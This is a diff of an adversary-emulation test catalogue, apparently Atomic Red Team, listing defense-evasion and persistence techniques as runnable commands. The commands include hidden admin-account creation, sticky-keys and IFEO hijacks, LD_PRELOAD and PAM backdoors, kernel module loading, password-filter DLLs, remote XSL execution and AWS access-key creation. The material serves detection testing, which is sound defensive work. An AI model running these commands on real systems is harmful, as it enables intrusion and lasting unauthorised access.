+38607,7 @@ defense-evasion: executor: command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F -' + ' name: command_prompt - name: attrib - Remove read-only attribute auto_generated_guid: bec1e95c-83aa-492e-ab77-60c71bbd21b0 @@ -38602,10 +38625,10 @@ defense-evasion: dependencies: - description: 'Test requrires a file to modify to be located at (#{file_or_folder}) -' + ' prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: | mkdir #{file_or_folder} echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt @@ -38615,7 +38638,7 @@ defense-evasion: executor: command: 'attrib.exe -r #{file_or_folder}\*.* /s -' + ' name: command_prompt - name: attrib - hide file auto_generated_guid: 32b979da-7b68-42c9-9a99-0e39900fc36c @@ -38633,10 +38656,10 @@ defense-evasion: dependencies: - description: 'Test requires a file to modify to be located at (#{file_or_folder}) -' + ' prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: | mkdir #{file_or_folder} echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt @@ -38674,18 +38697,18 @@ defense-evasion: - description: 'Backup of original folder permissions should exist (for use in cleanup commands) -' + ' prereq_command: 'IF EXIST #{file_path} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: 'icacls #{path} /save #{file_path} /t /q >nul 2>&1 -' + ' executor: command: icacls "#{path}" /grant Everyone:F /T /C /Q cleanup_command: 'icacls ''#{path}'' /restore #{file_path} /q >nul 2>&1 -' + ' name: command_prompt elevation_required: true T1220: @@ -38795,28 +38818,28 @@ defense-evasion: dependencies: - description: 'XML file must exist on disk at specified location (#{xmlfile}) -' + ' prereq_command: 'if (Test-Path #{xmlfile}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}" - description: 'XSL file must exist on disk at specified location (#{xslfile}) -' + ' prereq_command: 'if (Test-Path #{xslfile}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{xslfile}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}" - description: 'msxsl.exe must exist on disk at specified location (#{msxsl_exe}) -' + ' prereq_command: 'if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://web.archive.org/web/20200803205229/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "$env:TEMP\msxsl.exe" Copy-Item $env:TEMP\msxsl.exe #{msxsl_exe} -Force @@ -38824,7 +38847,7 @@ defense-evasion: executor: command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile} -' + ' name: command_prompt - name: MSXSL Bypass using remote files auto_generated_guid: a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985 @@ -38833,7 +38856,7 @@ defense-evasion: at https://www.microsoft.com/en-us/download/details.aspx?id=21714. Open Calculator.exe when test sucessfully executed, while AV turned off. -' + ' supported_platforms: - windows input_arguments: @@ -38848,14 +38871,14 @@ defense-evasion: executor: command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile} -' + ' name: command_prompt - name: WMIC bypass using local XSL file auto_generated_guid: 1b237334-3e21-4a0c-8178-b8c996124988 description: 'Executes the code specified within a XSL script using a local payload. -' + ' supported_platforms: - windows input_arguments: @@ -38871,17 +38894,17 @@ defense-evasion: dependencies: - description: 'XSL file must exist on disk at specified location (#{local_xsl_file}) -' + ' prereq_command: 'if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}" executor: command: 'wmic #{wmic_command} /FORMAT:"#{local_xsl_file}" -' + ' name: command_prompt - name: WMIC bypass using remote XSL file auto_generated_guid: 7f5be499-33be-4129-a560-66021f379b9b @@ -38889,7 +38912,7 @@ defense-evasion: payload. Open Calculator.exe when test sucessfully executed, while AV turned off. -' + ' supported_platforms: - windows input_arguments: @@ -38904,7 +38927,7 @@ defense-evasion: executor: command: 'wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}" -' + ' name: command_prompt persistence: T1546.008: @@ -38998,7 +39021,7 @@ persistence: description: 'Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: "osk.exe" -' + ' type: String default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe @@ -39006,7 +39029,7 @@ persistence: description: 'Full path to process to attach to target in #{parent_list}. Default: cmd.exe -' + ' type: Path default: C:\windows\system32\cmd.exe executor: @@ -39040,7 +39063,7 @@ persistence: auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3 description: 'Replace sticky keys binary (sethc.exe) with cmd.exe -' + ' supported_platforms: - windows executor: @@ -39051,7 +39074,7 @@ persistence: copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe -' + ' name: command_prompt elevation_required: true T1098: @@ -39128,7 +39151,7 @@ persistence: auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af description: 'Manipulate Admin Account Name -' + ' supported_platforms: - windows executor: @@ -39194,7 +39217,7 @@ persistence: dependencies: - description: 'PS Module ActiveDirectory -' + ' prereq_command: "Try {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n" get_prereq_command: | @@ -39217,14 +39240,14 @@ persistence: cleanup_command: 'Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))" | Remove-ADUser -Confirm:$False -' + ' name: powershell - name: AWS - Create a group and add a user to that group auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122 description: 'Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss -' + ' supported_platforms: - iaas:aws input_arguments: @@ -39236,14 +39259,14 @@ persistence: - description: 'Check if the user exists, we can only add a user to a group if the user exists. -' + ' prereq_command: 'aws iam list-users | grep #{username} -' + ' get_prereq_command: 'echo Please run atomic test T1136.003, before running this atomic test -' + ' executor: command: | aws iam create-group --group-name #{username} @@ -39457,7 +39480,7 @@ persistence: command: 'powershell -c "iwr -URI ''#{xll_url}'' -o ''#{local_file}''; IEX ((new-object -ComObject excel.application).RegisterXLL(''$env:tmp\HelloWorldXll.xll''))" -' + ' T1098.001: technique: external_references: @@ -39564,13 +39587,13 @@ persistence: dependencies: - description: 'AzureAD module must be installed. -' + ' prereq_command: 'if (Get-Module AzureAD) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Install-Module -Name AzureAD -Force -' + ' executor: command: | Import-Module -Name AzureAD @@ -39641,13 +39664,13 @@ persistence: dependencies: - description: 'AzureAD module must be installed. -' + ' prereq_command: 'if (Get-Module AzureAD) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Install-Module -Name AzureAD -Force -' + ' executor: command: | Import-Module -Name AzureAD @@ -39689,7 +39712,7 @@ persistence: description: 'Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised -' + ' supported_platforms: - iaas:aws input_arguments: @@ -39700,14 +39723,14 @@ persistence: dependencies: - description: 'Check if the user exists. -' + ' prereq_command: 'aws iam list-users | grep #{username} -' + ' get_prereq_command: 'echo Please run atomic test T1136.003, before running this atomic -' + ' executor: command: | aws iam create-access-key --user-name #{username} > $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds @@ -39902,11 +39925,11 @@ persistence: - description: 'Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file}) -' + ' prereq_command: 'if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file})) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null @@ -39915,11 +39938,11 @@ persistence: - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and T1546.010x86.dll) -' + ' prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll)) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll @@ -39927,10 +39950,10 @@ persistence: executor: command: 'reg.exe import #{registry_file} -' + ' cleanup_command: 'reg.exe import #{registry_cleanup_file} >nul 2>&1 -' + ' name: command_prompt elevation_required: true T1546.011: @@ -40038,31 +40061,31 @@ persistence: - description: 'Shim database file must exist on disk at specified location (#{file_path}) -' + ' prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}" - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll -' + ' prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll executor: command: 'sdbinst.exe #{file_path} -' + ' cleanup_command: 'sdbinst.exe -u #{file_path} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: New shim database files created in the default shim database directory @@ -40155,7 +40178,7 @@ persistence: description: 'This test submits a command to be run in the future by the `at` daemon. -' + ' supported_platforms: - linux input_arguments: @@ -40171,30 +40194,30 @@ persistence: dependencies: - description: 'The `at` and `atd` executables must exist in the PATH -' + ' prereq_command: 'which at && which atd -' + ' get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'' -' + ' - description: 'The `atd` daemon must be running -' + ' prereq_command: 'systemctl status atd || service atd status -' + ' get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'' -' + ' executor: name: sh elevation_required: false command: 'echo "#{at_command}" | at #{time_spec} -' + ' T1053.002: technique: external_references: @@ -40291,7 +40314,7 @@ persistence: elevation_required: false command: 'at 13:20 /interactive cmd -' + ' T1547.002: technique: id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec @@ -40456,10 +40479,10 @@ persistence: command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file} -' + ' cleanup_command: 'del #{local_file} >nul 2>&1 -' + ' name: command_prompt - name: Bitsadmin Download (PowerShell) auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc @@ -40483,10 +40506,10 @@ persistence: command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file} -' + ' cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore -' + ' name: powershell - name: Persist, Download, & Execute auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae @@ -40524,7 +40547,7 @@ persistence: bitsadmin.exe /complete #{bits_job_name} cleanup_command: 'del #{local_file} >nul 2>&1 -' + ' name: command_prompt - name: Bits download using desktopimgdownldr.exe (cmd) auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114 @@ -40556,10 +40579,10 @@ persistence: command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr -' + ' cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >null 2>&1 -' + ' name: command_prompt T1547: technique: @@ -40884,7 +40907,7 @@ persistence: auto_generated_guid: cb790029-17e6-4c43-b96f-002ce5f10938 description: 'Create a file called test.wma, with the duration of 30 seconds -' + ' supported_platforms: - linux - windows @@ -40904,7 +40927,7 @@ persistence: sent from a compromised host. This will install one (of many) available VPNS in the Edge add-on store. -' + ' supported_platforms: - windows - macos @@ -41024,7 +41047,7 @@ persistence: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -41069,7 +41092,7 @@ persistence: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -41107,7 +41130,7 @@ persistence: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -41224,10 +41247,10 @@ persistence: executor: command: 'assoc #{extension_to_change}=#{target_extension_handler} -' + ' cleanup_command: 'assoc #{extension_to_change}=#{original_extension_handler} -' + ' name: command_prompt elevation_required: true T1136.003: @@ -41297,7 +41320,7 @@ persistence: activity do not interupt the normal functions of the compromised users and can remain undetected for a long time -' + ' supported_platforms: - iaas:aws input_arguments: @@ -41308,21 +41331,21 @@ persistence: dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured -' + ' prereq_command: 'cat ~/.aws/credentials | grep "default" -' + ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure -' + ' executor: command: 'aws iam create-user --user-name #{username} -' + ' cleanup_command: 'aws iam delete-user --user-name #{username} -' + ' name: sh elevation_required: false T1078.004: @@ -41618,7 +41641,7 @@ persistence: CronJob for scheduling execution of malicious code that would run as a container in the cluster. -' + ' supported_platforms: - containers input_arguments: @@ -41629,17 +41652,17 @@ persistence: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl get cronjobs -n #{namespace} -' + ' name: bash elevation_required: false - name: CreateCronjob @@ -41651,7 +41674,7 @@ persistence: CronJob for scheduling execution of malicious code that would run as a container in the cluster. -' + ' supported_platforms: - containers input_arguments: @@ -41662,20 +41685,20 @@ persistence: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl create -f src/cronjob.yaml -n #{namespace} -' + ' cleanup_command: 'kubectl delete cronjob art -n #{namespace} -' + ' name: bash elevation_required: false T1136: @@ -41857,7 +41880,7 @@ persistence: of the referenced file. This technique was used by numerous IoT automated exploitation attacks. -' + ' supported_platforms: - macos - linux @@ -41877,7 +41900,7 @@ persistence: echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} cleanup_command: 'crontab /tmp/notevil -' + ' - name: Cron - Add script to all cron subfolders auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily, @@ -41885,7 +41908,7 @@ persistence: schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - macos - linux @@ -41917,7 +41940,7 @@ persistence: to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - linux input_arguments: @@ -41934,10 +41957,10 @@ persistence: name: bash command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name} -' + ' cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -' + ' T1574.001: technique: id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34 @@ -42112,10 +42135,10 @@ persistence: dependencies: - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable}) -' + ' prereq_command: 'if (Test-Path #{gup_executable}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}" @@ -42123,7 +42146,7 @@ persistence: command: "#{gup_executable}\n" cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 -' + ' name: command_prompt T1078.001: technique: @@ -42243,7 +42266,7 @@ persistence: description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default -' + ' supported_platforms: - windows input_arguments: @@ -42254,10 +42277,10 @@ persistence: executor: command: 'net user #{guest_user} /active:yes -' + ' cleanup_command: 'net user #{guest_user} /active:no -' + ' name: command_prompt elevation_required: true T1136.002: @@ -42309,7 +42332,7 @@ persistence: auto_generated_guid: fcec2963-9951-4173-9bfa-98d8b7834e62 description: 'Creates a new domain admin user in a command prompt. -' + ' supported_platforms: - windows input_arguments: @@ -42331,14 +42354,14 @@ persistence: net group "#{group}" "#{username}" /add /domain cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain -' + ' name: command_prompt elevation_required: false - name: Create a new account similar to ANONYMOUS LOGON auto_generated_guid: dc7726d2-8ccb-4cc6-af22-0d5afb53a548 description: 'Create a new account similar to ANONYMOUS LOGON in a command prompt. -' + ' supported_platforms: - windows input_arguments: @@ -42353,10 +42376,10 @@ persistence: executor: command: 'net user "#{username}" "#{password}" /add /domain -' + ' cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain -' + ' name: command_prompt elevation_required: false - name: Create a new Domain Account using PowerShell @@ -42364,7 +42387,7 @@ persistence: description: 'Creates a new Domain User using the credentials of the Current User -' + ' supported_platforms: - windows input_arguments: @@ -42393,7 +42416,7 @@ persistence: $User cleanup_command: 'cmd /c "net user #{username} /del >nul 2>&1" -' + ' name: powershell elevation_required: false T1078.002: @@ -42756,21 +42779,21 @@ persistence: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) -' + ' prereq_command: 'if [ -f #{path_to_shared_library ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} -' + ' executor: command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload'' -' + ' cleanup_command: 'sudo sed -i ''\~#{path_to_shared_library}~d'' /etc/ld.so.preload -' + ' name: bash elevation_required: true - name: Shared Library Injection via LD_PRELOAD @@ -42795,18 +42818,18 @@ persistence: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) -' + ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} -' + ' executor: command: 'LD_PRELOAD=#{path_to_shared_library} ls -' + ' name: bash T1546.014: technique: @@ -42867,7 +42890,7 @@ persistence: description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124 -' + ' supported_platforms: - macos input_arguments: @@ -43156,7 +43179,7 @@ persistence: description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list -' + ' supported_platforms: - windows input_arguments: @@ -43169,12 +43192,12 @@ persistence: type: String default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme" -' + ' dependency_executor_name: powershell dependencies: - description: 'Chrome must be installed -' + ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} @@ -43394,7 +43417,7 @@ persistence: auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8 description: 'Leverage Global Flags Settings -' + ' supported_platforms: - windows input_arguments: @@ -43410,19 +43433,19 @@ persistence: command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" -' + ' cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: IFEO Global Flags auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1 description: 'Leverage Global Flags Settings -' + ' supported_platforms: - windows input_arguments: @@ -43606,7 +43629,7 @@ persistence: description: 'This test uses the insmod command to load a kernel module for Linux. -' + ' supported_platforms: - linux input_arguments: @@ -43630,10 +43653,10 @@ persistence: dependencies: - description: 'The kernel module must exist on disk at specified location -' + ' prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: | if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi; cp #{module_source_path}/* #{temp_folder}/ @@ -43642,7 +43665,7 @@ persistence: executor: command: 'sudo insmod #{module_path} -' + ' cleanup_command: | sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder} @@ -43848,7 +43871,7 @@ persistence: auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900 description: 'Create a plist and execute it -' + ' supported_platforms: - macos input_arguments: @@ -43865,15 +43888,15 @@ persistence: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) -' + ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "The shared library doesn''t exist. Check the path"; exit 1; -' + ' executor: name: bash elevation_required: true @@ -43967,7 +43990,7 @@ persistence: auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf description: 'Utilize LaunchDaemon to launch `Hello World` -' + ' supported_platforms: - macos input_arguments: @@ -43984,15 +44007,15 @@ persistence: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) -' + ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; -' + ' executor: name: bash elevation_required: true @@ -44136,7 +44159,7 @@ persistence: auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2 description: 'Create a user via useradd -' + ' supported_platforms: - linux input_arguments: @@ -44147,17 +44170,17 @@ persistence: executor: command: 'useradd -M -N -r -s /bin/bash -c evil_account #{username} -' + ' cleanup_command: 'userdel #{username} -' + ' name: bash elevation_required: true - name: Create a user account on a MacOS system auto_generated_guid: '01993ba5-1da3-4e15-a719-b690d4f0f0b2' description: 'Creates a user on a MacOS system with dscl -' + ' supported_platforms: - macos input_arguments: @@ -44179,7 +44202,7 @@ persistence: dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} cleanup_command: 'dscl . -delete /Users/#{username} -' + ' name: bash elevation_required: true - name: Create a new user in a command prompt @@ -44201,10 +44224,10 @@ persistence: executor: command: 'net user /add "#{username}" "#{password}" -' + ' cleanup_command: 'net user /del "#{username}" >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Create a new user in PowerShell @@ -44222,10 +44245,10 @@ persistence: executor: command: 'New-LocalUser -Name "#{username}" -NoPassword -' + ' cleanup_command: 'Remove-LocalUser -Name "#{username}" -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Create a new user in Linux with `root` UID and GID. @@ -44233,7 +44256,7 @@ persistence: description: 'Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign. -' + ' supported_platforms: - linux input_arguments: @@ -44251,14 +44274,14 @@ persistence: if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi; cleanup_command: 'userdel #{username} -' + ' name: bash elevation_required: true - name: Create a new Windows admin user auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559 description: 'Creates a new admin user in a command prompt. -' + ' supported_platforms: - windows input_arguments: @@ -44276,7 +44299,7 @@ persistence: net localgroup administrators "#{username}" /add cleanup_command: 'net user /del "#{username}" >nul 2>&1 -' + ' name: command_prompt elevation_required: true T1078.003: @@ -44404,7 +44427,7 @@ persistence: auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4 description: 'Mac logon script -' + ' supported_platforms: - macos executor: @@ -44633,7 +44656,7 @@ persistence: description: 'Netsh interacts with other operating system components using dynamic-link library (DLL) files -' + ' supported_platforms: - windows input_arguments: @@ -44644,7 +44667,7 @@ persistence: executor: command: 'netsh.exe add helper #{helper_file} -' + ' name: command_prompt T1556.004: technique: @@ -45013,11 +45036,11 @@ persistence: command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "#{thing_to_execute}" -' + ' cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" -' + ' name: command_prompt T1137.003: technique: @@ -45152,11 +45175,11 @@ persistence: command: 'reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f -' + ' cleanup_command: 'reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f -' + ' T1137.005: technique: external_references: @@ -45277,7 +45300,7 @@ persistence: description: 'Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges. -' + ' supported_platforms: - windows input_arguments: @@ -45290,14 +45313,14 @@ persistence: - description: 'AtomicPasswordFilter.dll must exist on disk at specified location (#{input_dll}) -' + ' prereq_command: 'if (Test-Path #{input_dll}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host "You must provide your own password filter dll" -' + ' executor: command: | $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename @@ -45713,7 +45736,7 @@ persistence: auto_generated_guid: 394a538e-09bb-4a4a-95d1-b93cf12682a8 description: 'Modify MacOS plist file in one of two directories -' + ' supported_platforms: - macos executor: @@ -45820,10 +45843,10 @@ persistence: elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} -' + ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} -' + ' - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | @@ -45857,35 +45880,35 @@ persistence: - description: 'The PAM development library must be installed to build the PAM module -' + ' prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel; fi -' + ' - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module}) -' + ' prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source} -' + ' executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} -' + ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} -' + ' T1205.001: technique: external_references: @@ -46018,10 +46041,10 @@ persistence: command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\ART" /v "Atomic Red Team" /d "#{monitor_dll}" /t REG_SZ -' + ' cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\ART" -' + ' name: command_prompt elevation_required: true T1546.013: @@ -46107,7 +46130,7 @@ persistence: profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched. -' + ' supported_platforms: - windows input_arguments: @@ -46123,13 +46146,13 @@ persistence: dependencies: - description: 'Ensure a powershell profile exists for the current user -' + ' prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force -' + ' executor: command: | Add-Content #{ps_profile} -Value "" @@ -46347,14 +46370,14 @@ persistence: command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello World"'' >> /etc/rc.common -' + ' elevation_required: true name: bash - name: rc.common auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a description: 'Modify rc.common -' + ' supported_platforms: - linux executor: @@ -46370,12 +46393,12 @@ persistence: ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi -' + ' - name: rc.local auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102 description: 'Modify rc.local -' + ' 